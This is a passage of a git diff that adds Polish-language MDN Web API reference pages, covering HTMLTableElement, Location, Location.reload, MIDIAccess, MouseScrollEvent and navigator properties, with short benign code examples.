+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLTableElement
+---
+<div>{{ ApiRef() }}</div>
+
+<h2 id="Interfejs_elementu_HTML_Table" name="Interfejs_elementu_HTML_Table">Interfejs elementu HTML Table</h2>
+
+<p>Obiekt <code>table</code> pozwala na dostęp do interfejsu <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-64060425"><code>HTMLTableElement</code></a>, który udostępnia specjalne własności i metody (będące poza zwykłym interfejsem obiektu <a href="/pl/docs/DOM/element"><code>element</code></a>; własności i metody <a href="/pl/docs/DOM/element">elementu</a> dostępne są poprzez dziedziczenie) do ustawiania układu i wyglądu tabel w języku HTML.</p>
+
+<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2>
+
+<dl>
+ <dt>{{domxref("HTMLTableElement.caption")}}</dt>
+ <dd>opis tabeli.</dd>
+ <dt>{{domxref("HTMLTableElement.tHead")}}</dt>
+ <dd>nagłówek tabeli.</dd>
+ <dt>{{domxref("HTMLTableElement.tFoot")}}</dt>
+ <dd>stopka tabeli.</dd>
+ <dt>{{domxref("HTMLTableElement.rows")}} {{readonlyInline}}</dt>
+ <dd><b>rows</b> - liczba wierszy tabeli.</dd>
+ <dt>{{domxref("HTMLTableElement.tBodies")}} {{readonlyInline}}</dt>
+ <dd>'ciała' tabeli (tbody).</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("HTMLTableElement.align")}} {{obsolete_inline}}</dt>
+ <dd>ustawia/pobiera wyrównanie tabeli.</dd>
+ <dt>{{domxref("HTMLTableElement.bgColor")}} {{obsolete_inline}}</dt>
+ <dd>ustawia/pobiera kolor tła tabeli.</dd>
+ <dt>{{domxref("HTMLTableElement.border")}} {{obsolete_inline}}</dt>
+ <dd>ustawia/pobiera obramowanie tabeli.</dd>
+ <dt>{{domxref("HTMLTableElement.cellPadding")}} {{obsolete_inline}}</dt>
+ <dd>ustawia/pobiera dopełnienie komórki.</dd>
+ <dt>{{domxref("HTMLTableElement.cellSpacing")}} {{obsolete_inline}}</dt>
+ <dd>ustawia/pobiera odstępy pomiędzy komórkami.</dd>
+ <dt>{{domxref("HTMLTableElement.frame")}} {{obsolete_inline}}</dt>
+ <dd>określa które krawędzie tabeli mają obramowanie.</dd>
+ <dt>{{domxref("HTMLTableElement.rules")}} {{obsolete_inline}}</dt>
+ <dd>określa które wewnętrzne krawędzie są widoczne.</dd>
+ <dt>{{domxref("HTMLTableElement.summary")}} {{obsolete_inline}}</dt>
+ <dd><b>u</b>stawia/pobiera podsumowanie tabeli.</dd>
+ <dt>{{domxref("HTMLTableElement.width")}} {{obsolete_inline}}</dt>
+ <dd>ustawia/pobiera szerokość tabeli.</dd>
+</dl>
+
+<h2 id="Metody" name="Metody">Metody</h2>
+
+<dl>
+ <dt>{{domxref("HTMLTableElement.createTHead()")}}</dt>
+ <dd>tworzy nagłówek tabeli.</dd>
+ <dt>{{domxref("HTMLTableElement.deleteTHead()")}}</dt>
+ <dd>usuwa nagłówek tabeli.</dd>
+ <dt>{{domxref("HTMLTableElement.createTFoot()")}}</dt>
+ <dd>tworzy stopkę tabeli.</dd>
+ <dt>{{domxref("HTMLTableElement.deleteTFoot()")}}</dt>
+ <dd>usuwa stopkę tabeli.</dd>
+ <dt>{{domxref("HTMLTableElement.createCaption()")}}</dt>
+ <dd>tworzy nowy opis tabeli.</dd>
+ <dt>{{domxref("HTMLTableElement.deleteCaption()")}}</dt>
+ <dd>usuwa opis tabeli.</dd>
+ <dt>{{domxref("HTMLTableElement.insertRow()")}}</dt>
+ <dd>wstawia nowy wiersz.</dd>
+ <dt>{{domxref("HTMLTableElement.deleteRow()")}}</dt>
+ <dd>usuwa wiersz.</dd>
+</dl>
diff --git a/files/pl/web/api/htmltableelement/tfoot/index.html b/files/pl/web/api/htmltableelement/tfoot/index.html
new file mode 100644
index 0000000000..2d7467db81
--- /dev/null
+++ b/files/pl/web/api/htmltableelement/tfoot/index.html
@@ -0,0 +1,39 @@
+---
+title: HTMLTableElement.tFoot
+slug: Web/API/HTMLTableElement/tFoot
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLTableElement/tFoot
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><b>tFoot</b> zwraca element TFOOT tabeli.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>HTMLTableSectionElementObject</i> = table.tFoot
+</pre>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">if (table.tFoot == my_foot) {
+ ...
+}
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Ta własność zwraca VOID, jeśli nie istnieje element TFOOT.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-64197097">tfoot</a></p>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-67417573">Interface HTMLTableSectionElement</a></p>
+
+<p>{{ languages( { "en": "en/DOM/table.tFoot" } ) }}</p>
diff --git a/files/pl/web/api/htmltableelement/thead/index.html b/files/pl/web/api/htmltableelement/thead/index.html
new file mode 100644
index 0000000000..413fe6fde1
--- /dev/null
+++ b/files/pl/web/api/htmltableelement/thead/index.html
@@ -0,0 +1,45 @@
+---
+title: HTMLTableElement.tHead
+slug: Web/API/HTMLTableElement/tHead
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/HTMLTableElement/tHead
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p><b>tHead</b> zwraca THEAD (nagłówek) tabeli.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><i>th_el</i> = table.tHead
+</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<ul>
+ <li><code>th_el</code> jest <a href="pl/HTMLTableSectionElement">HTMLTableSectionElement</a>.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="eval">if (table.tHead == my_head_el) {
+ ...
+}
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p>Ta własność zwraca VOID, jeśli nie istnieje element THEAD.</p>
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-9530944">thead</a></p>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-67417573">Interface HTMLTableSectionElement</a></p>
+
+<p>{{ languages( { "en": "en/DOM/table.tHead" } ) }}</p>
diff --git a/files/pl/web/api/index.html b/files/pl/web/api/index.html
new file mode 100644
index 0000000000..2a13d2b016
--- /dev/null
+++ b/files/pl/web/api/index.html
@@ -0,0 +1,11 @@
+---
+title: Lista Web API
+slug: Web/API
+tags:
+ - NeedsTranslation
+ - TopicStub
+translation_of: Web/API
+---
+<p>Kiedy piszemy kod w JavaScript dla sieci Web, możemy użyć wielu przydatnych API. Poniżej znajduje się lista dostępnych interfejsów (dokładnie, typów obiektów), które możesz wykorzystać podczas budowy swojej strony czy aplikacji internetowej.</p>
+
+<div>{{APIListAlpha}}</div>
diff --git a/files/pl/web/api/location/index.html b/files/pl/web/api/location/index.html
new file mode 100644
index 0000000000..537d3bc90a
--- /dev/null
+++ b/files/pl/web/api/location/index.html
@@ -0,0 +1,114 @@
+---
+title: Location
+slug: Web/API/Location
+tags:
+ - API
+ - HTML DOM
+ - Interface
+ - Location
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+translation_of: Web/API/Location
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>The <strong><code>Location</code></strong> interface represents the location (URL) of the object it is linked to. Changes done on it are reflected on the object it relates to. Both the {{domxref("Document")}} and {{domxref("Window")}} interface have such a linked <code>Location</code>, accessible via {{domxref("Document.location")}} and {{domxref("Window.location")}} respectively.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>Location</code></em><em> interface doesn't inherit any property, but implements those from {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Location.href")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the entire URL. If changed, the associated document navigates to the new page. It can be set from a different origin than the associated document.</dd>
+ <dt>{{domxref("Location.protocol")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the protocol scheme of the URL, including the final <code>':'</code>.</dd>
+ <dt>{{domxref("Location.host")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the host, that is the <em>hostname</em>, a <code>':'</code>, and the <em>port</em> of the URL.</dd>
+ <dt>{{domxref("Location.hostname")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the domain of the URL.</dd>
+ <dt>{{domxref("Location.port")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the port number of the URL.</dd>
+ <dt>{{domxref("Location.pathname")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing an initial <code>'/'</code> followed by the path of the URL.</dd>
+ <dt>{{domxref("Location.search")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a <code>'?'</code> followed by the parameters or "querystring" of the URL. Modern browsers provide <a href="/en-US/docs/Web/API/URLSearchParams/get#Example">URLSearchParams</a> and <a href="/en-US/docs/Web/API/URL/searchParams#Example">URL.searchParams</a> to make it easy to parse out the parameters from the querystring.</dd>
+ <dt>{{domxref("Location.hash")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a <code>'#'</code> followed by the fragment identifier of the URL.</dd>
+ <dt>{{domxref("Location.username")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the username specified before the domain name.</dd>
+ <dt>{{domxref("Location.password")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the password specified before the domain name.</dd>
+ <dt>{{domxref("Location.origin")}} {{readOnlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the canonical form of the origin of the specific location.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The <code>Location</code></em><em> interface doesn't inherit any method<em>, but implements those from {{domxref("URLUtils")}}</em>.</em></p>
+
+<dl>
+ <dt>{{domxref("Location.assign()")}}</dt>
+ <dd>Loads the resource at the URL provided in parameter.</dd>
+ <dt>{{domxref("Location.reload()")}}</dt>
+ <dd>Reloads the resource from the current URL. Its optional unique parameter is a {{domxref("Boolean")}}, which, when it is <code>true</code>, causes the page to always be reloaded from the server. If it is <code>false</code> or not specified, the browser may reload the page from its cache.</dd>
+ <dt>{{domxref("Location.replace()")}}</dt>
+ <dd>Replaces the current resource with the one at the provided URL. The difference from the <code>assign()</code> method is that after using <code>replace()</code> the current page will not be saved in session {{domxref("History")}}, meaning the user won't be able to use the <em>back</em> button to navigate to it.</dd>
+ <dt>{{domxref("Location.toString()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("URLUtils.href")}}, though it can't be used to modify the value.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">// Create anchor element and use href property for the purpose of this example
+// A more correct alternative is to browse to the URL and use document.location or window.location
+var url = document.createElement('a');
+url.href = 'https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container';
+console.log(url.href); // https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container
+console.log(url.protocol); // https:
+console.log(url.host); // developer.mozilla.org:8080
+console.log(url.hostname); // developer.mozilla.org
+console.log(url.port); // 8080
+console.log(url.pathname); // /en-US/search
+console.log(url.search); // ?q=URL
+console.log(url.hash); // #search-results-close-container
+console.log(url.origin); // https://developer.mozilla.org
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "browsers.html#the-location-interface", "Location")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Location")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Location")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Two methods creating such an object: {{domxref("Window.location")}} and {{domxref("Document.location")}}.</li>
+ <li>URL related interfaces: {{domxref("URL")}}, {{domxref("URLSearchParams")}} and {{domxref("HTMLHyperlinkElementUtils")}}</li>
+</ul>
diff --git a/files/pl/web/api/location/reload/index.html b/files/pl/web/api/location/reload/index.html
new file mode 100644
index 0000000000..fc859dbfd3
--- /dev/null
+++ b/files/pl/web/api/location/reload/index.html
@@ -0,0 +1,67 @@
+---
+title: Location.reload()
+slug: Web/API/Location/reload
+tags:
+ - API
+ - HTML-DOM
+ - Location
+ - Metodă
+translation_of: Web/API/Location/reload
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p>Metoda <code><strong>Location.reload()</strong></code> ponownie ładuje zasób z bieżącego adresu URL. Jej opcjonalnym i jednocześnie unikalnym parametrem jest parametr {{domxref("Boolean")}}. Jeśli przyjmie on wartość <code>true</code>, powoduje zawsze ponownie ładowanie strony z serwera. Jeśli jego wartość wynosi <code>false</code> lub nie jest zdefiniowana, przeglądarka<span id="result_box" lang="pl"><span> może ponownie załadować stronę z pamięci podręcznej.</span></span> <span id="result_box" lang="pl"><span>Poza domyślnym zachowaniem pamięci cache, flaga </span></span><code>forcedReload</code><span lang="pl"><span> wpływa również na to, jak niektóre przeglądarki obsługują pozycję przewijania strony: zwykłe przeładowanie próbuje przywrócić pozycję przewijania po ponownym załadowaniu strony, natomiast w trybie wymuszonym (gdy parametr jest ustawiony na wartość </span></span><code>true</code><span lang="pl"><span>) nowy DOM zostaje wczytany ze </span></span><code>scrollTop == 0</code>.</p>
+
+<p>Jeśli przypisanie nie może się wydarzyć z powodu naruszenia bezpieczeństwa, zostanie zgłoszony wyjątek {{domxref("DOMException")}} typu <code>SECURITY_ERROR</code>. Dzieje się tak, gdy pochodzenie skryptu wywołującego metodę różni się od pochodzenia strony opisanej przez obiekt {{domxref("Location")}} (zazwyczaj kiedy skrypt jest hostowany na innej domenie).</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><em>object</em>.reload(<em>forcedReload</em>);
+</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><em>forcedReload</em> {{optional_inline}}</dt>
+ <dd>Jest flagą {{domxref("Boolean")}}, która przyjmując wartość <code>true</code>, zawsze powoduje przeładowanie strony z serwera. Jeśli jej wartość to <code>false</code> lub nie została ona zdefiniowana, przeglądarka może wczytać stronę z pamięci podręczniej (pamięci cache).</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: js">// Przeładuj bieżącą stronę bez cache
+window.location.reload(true);</pre>
+
+<h2 id="Lista_specyfikacji">Lista specyfikacji</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "history.html#dom-location-reload", "Location.reload()")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Bez zmian od {{SpecName("HTML5 W3C")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "browsers.html#dom-location-reload", "Location.reload()")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Początkowa definicja.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_przeglądarek">Zgodność przeglądarek</h2>
+
+<div class="hidden"><span id="result_box" lang="pl"><span>Tabela zgodności na tej stronie jest generowana na podstawie danych strukturalnych.</span> <span>Jeśli chcesz przyczynić się do współtworzenia danych, sprawdź </span></span> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <span id="result_box" lang="pl"><span>i wyślij nam pull requesta.</span></span></div>
+
+<p>{{Compat("api.Location.reload")}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>Interfejs {{domxref("Location")}}.</li>
+ <li>Podobne metody: {{domxref("Location.assign()")}} i {{domxref("Location.replace()")}}.</li>
+</ul>
diff --git a/files/pl/web/api/mediaelementaudiosourcenode/index.html b/files/pl/web/api/mediaelementaudiosourcenode/index.html
new file mode 100644
index 0000000000..81bbce3c25
--- /dev/null
+++ b/files/pl/web/api/mediaelementaudiosourcenode/index.html
@@ -0,0 +1,84 @@
+---
+title: MediaElementAudioSourceNode
+slug: Web/API/MediaElementAudioSourceNode
+translation_of: Web/API/MediaElementAudioSourceNode
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<div>
+<p>The <code>MediaElementAudioSourceNode</code> interface represents an audio source consisting of an HTML5 {{ htmlelement("audio") }} or {{ htmlelement("video") }} element. It is an {{domxref("AudioNode")}} that acts as an audio source.</p>
+</div>
+
+<p>A <code>MediaElementSourceNode</code> has no inputs and exactly one output, and is created using the {{domxref("AudioContext.createMediaElementSource")}} method. The amount of channels in the output equals the number of channels of the audio referenced by the {{domxref("HTMLMediaElement")}} used in the creation of the node, or is 1 if the {{domxref("HTMLMediaElement")}} has no audio.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Number of inputs</th>
+ <td><code>0</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Number of outputs</th>
+ <td><code>1</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Channel count</th>
+ <td>defined by the media in the {{domxref("HTMLMediaElement")}} passed to the {{domxref("AudioContext.createMediaElementSource")}} method that created it.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("MediaElementAudioSourceNode.MediaElementAudioSourceNode", "MediaElementAudioSourceNode()")}}</dt>
+ <dd>Creates a new <code>MediaElementAudioSourceNode</code> object instance.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("MediaElementAudioSourceNode.mediaElement", "mediaElement")}} {{ReadOnlyInline}}</dt>
+ <dd>The {{domxref("HTMLMediaElement")}} used when constructing this <code>MediaStreamAudioSourceNode</code>.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>{{page("/en-US/docs/Web/API/AudioContext.createMediaElementSource","Example")}}</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Audio API', '#mediaelementaudiosourcenode', 'MediaElementAudioSourceNode')}}</td>
+ <td>{{Spec2('Web Audio API')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.MediaElementAudioSourceNode")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/pl/web/api/midiaccess/index.html b/files/pl/web/api/midiaccess/index.html
new file mode 100644
index 0000000000..6155b26b02
--- /dev/null
+++ b/files/pl/web/api/midiaccess/index.html
@@ -0,0 +1,70 @@
+---
+title: MIDIAccess
+slug: Web/API/MIDIAccess
+tags:
+ - API
+ - Interfejs
+translation_of: Web/API/MIDIAccess
+---
+<p>{{SeeCompatTable}}{{APIRef("Web MIDI API")}} </p>
+
+<p>Interfejs <strong><code>MIDIAccess</code></strong> pochodzący z <a href="/en-US/docs/Web/API/Web_MIDI_API">Web MIDI API</a>, dostarcza metod wyliczania urządzeń wejściowych i wyjściowych MIDI oraz dostępu do tych urządzeń.</p>
+
+<h2 id="Właściwości">Właściwości</h2>
+
+<dl>
+ <dt>{{domxref("MIDIAccess.inputs")}} {{readonlyinline}}</dt>
+ <dd>Zwraca instancję {{domxref("MIDIInputMap")}} dostarczając metod dostępu do wszystkich dostępnych portów wejśiowych MIDI.</dd>
+ <dt>{{domxref("MIDIAccess.outputs")}} {{readonlyinline}}</dt>
+ <dd>Zwraca instancję {{domxref("MIDIOutputMap")}} dostarczając metod dostępu do wszystkich dostępnych portów wyjśiowych MIDI.</dd>
+ <dt>{{domxref("MIDIAccess.sysexEnabled")}} {{readonlyinline}}</dt>
+ <dd>Parametr zerojedynkowy, wskazujący na wsparcie system exclusive dla obecnej instancji MIDIAccess.</dd>
+</dl>
+
+<h3 id="Procedury_obsługi_zdarzeń">Procedury obsługi zdarzeń</h3>
+
+<dl>
+ <dt>{{domxref("MIDIAccess.onstatechange")}}</dt>
+ <dd>Jest wywoływana za każdym razem, gdy nowy port MIDI zostaniedodany lub nastąpi zmiana stanu istniejącego portu.</dd>
+</dl>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: js">navigator.requestMIDIAccess()
+ .then(function(access) {
+
+ // Get lists of available MIDI controllers
+ const inputs = access.inputs.values();
+ const outputs = access.outputs.values();
+
+ access.onstatechange = function(e) {
+
+ // Print information about the (dis)connected MIDI controller
+ console.log(e.port.name, e.port.manufacturer, e.port.state);
+ };
+ });</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebMIDI API','#midiaccess-interface')}}</td>
+ <td>{{Spec2('WebMIDI API')}}</td>
+ <td>Definicja wstępna.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<p>{{Compat("api.MIDIAccess")}}</p>
+
+<div></div>
+
+<div id="compat-mobile"></div>
diff --git a/files/pl/web/api/mousescrollevent/index.html b/files/pl/web/api/mousescrollevent/index.html
new file mode 100644
index 0000000000..ed0ab35316
--- /dev/null
+++ b/files/pl/web/api/mousescrollevent/index.html
@@ -0,0 +1,126 @@
+---
+title: MouseScrollEvent
+slug: Web/API/MouseScrollEvent
+translation_of: Web/API/MouseScrollEvent
+---
+<p>{{APIRef("DOM Events")}}{{ non-standard_header() }}{{deprecated_header}}</p>
+
+<p>The DOM <code>MouseScrollEvent</code> represents events that occur due to the user moving a mouse wheel or similar input device.</p>
+
+<p>Use standardardized {{ domxref("WheelEvent") }} instead of this legacy event object if available.</p>
+
+<h2 id="Method_overview">Method overview</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><code>void <a href="https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIDOMMouseScrollEvent#initMouseScrollEvent%28%29">initMouseScrollEvent</a>(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in nsIDOMAbstractView viewArg, in long detailArg, in long screenXArg, in long screenYArg, in long clientXArg, in long clientYArg, in boolean ctrlKeyArg, in boolean altKeyArg, in boolean shiftKeyArg, in boolean metaKeyArg, in unsigned short buttonArg, in nsIDOMEventTarget relatedTargetArg, in long axis);</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Attribute</td>
+ <td class="header">Type</td>
+ <td class="header">Description</td>
+ </tr>
+ <tr>
+ <td><code>axis</code></td>
+ <td><code>long</code></td>
+ <td>Indicates scroll direction. <strong>Read only.</strong></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Constants">Constants</h2>
+
+<h3 id="Delta_modes">Delta modes</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Constant</td>
+ <td class="header">Value</td>
+ <td class="header">Description</td>
+ </tr>
+ <tr>
+ <td><code>HORIZONTAL_AXIS</code></td>
+ <td><code>0x01</code></td>
+ <td>The event is caused by horizontal wheel operation.</td>
+ </tr>
+ <tr>
+ <td><code><code>VERTICAL_AXIS</code></code></td>
+ <td><code>0x02</code></td>
+ <td>The event is caused by vertical wheel operation.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods">Methods</h2>
+
+<h3 id="initMouseScrollEvent()">initMouseScrollEvent()</h3>
+
+<p>See <a href="https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIDOMMouseScrollEvent#initMouseScrollEvent%28%29" title="https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIDOMMouseScrollEvent#initMouseScrollEvent%28%29">nsIDOMMouseScrollEvent::initMouseScrollEvent()</a>.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatGeckoMobile("1.9.1") }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ <td>{{ CompatNo() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 class="note" id="See_also">See also</h2>
+
+<ul>
+ <li><code>DOMMouseScroll</code></li>
+ <li><code>MozMousePixelScroll</code></li>
+ <li>Non-gecko browsers' legacy mouse wheel event object: {{ domxref("MouseWheelEvent") }}</li>
+ <li>Standardized mouse wheel event object: {{ domxref("WheelEvent") }}</li>
+</ul>
diff --git a/files/pl/web/api/navigator/appcodename/index.html b/files/pl/web/api/navigator/appcodename/index.html
new file mode 100644
index 0000000000..ec0da7157c
--- /dev/null
+++ b/files/pl/web/api/navigator/appcodename/index.html
@@ -0,0 +1,30 @@
+---
+title: window.navigator.appCodeName
+slug: Web/API/Navigator/appCodeName
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/NavigatorID/appCodeName
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca wewnętrzną nazwę "kodową" aktualnej przeglądarki.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">codeName = window.navigator.appCodeName
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>codeName</code> jest wewnętrzną nazwą przeglądarki, zwracaną jako łańcuch znaków.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>dump(window.navigator.appCodeName);
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Mozilla, Netscape 6 i IE5 używają wewnętrznej nazwy "Mozilla".</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0. Nie jest częścią specyfikacji.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.navigator.appCodeName", "ja": "ja/DOM/window.navigator.appCodeName" } ) }}</p>
diff --git a/files/pl/web/api/navigator/appname/index.html b/files/pl/web/api/navigator/appname/index.html
new file mode 100644
index 0000000000..d651ac3682
--- /dev/null
+++ b/files/pl/web/api/navigator/appname/index.html
@@ -0,0 +1,29 @@
+---
+title: window.navigator.appName
+slug: Web/API/Navigator/appName
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/NavigatorID/appName
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca oficjalną nazwę przeglądarki.</p>
